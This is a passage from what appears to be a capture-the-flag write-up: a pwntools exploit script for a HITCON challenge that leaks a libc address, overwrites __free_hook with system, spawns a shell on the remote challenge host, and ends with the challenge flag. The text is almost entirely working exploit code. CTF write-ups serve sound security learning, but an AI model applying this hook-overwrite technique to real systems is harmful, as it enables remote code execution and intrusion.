remote('3.112.41.140', 56746) r.sendlineafter(':', str(0x2000000)) r.recvuntil('Magic:') addr = int(r.recvline().strip(), 16) libc_base = addr + 0x2000ff0 print "libc_base @ ", hex(libc_base) free_hook = libc_base + libc.symbols['__free_hook'] print "free_hook @ ", hex(free_hook) system = libc_base + libc.symbols['system'] print "system @ ", hex(system) offset = (free_hook - addr)//8 print "offset = ", hex(offset) r.sendlineafter('Value:', hex(offset)[2:] + ' ' + str(hex(system)[2:])) r.sendlineafter('Value:', 'a'*0x1000 + ' ' + 'ed') r.sendline("!sh") r.interactive() ``` `hitcon{T1is_i5_th3_c4ndy_for_yoU} `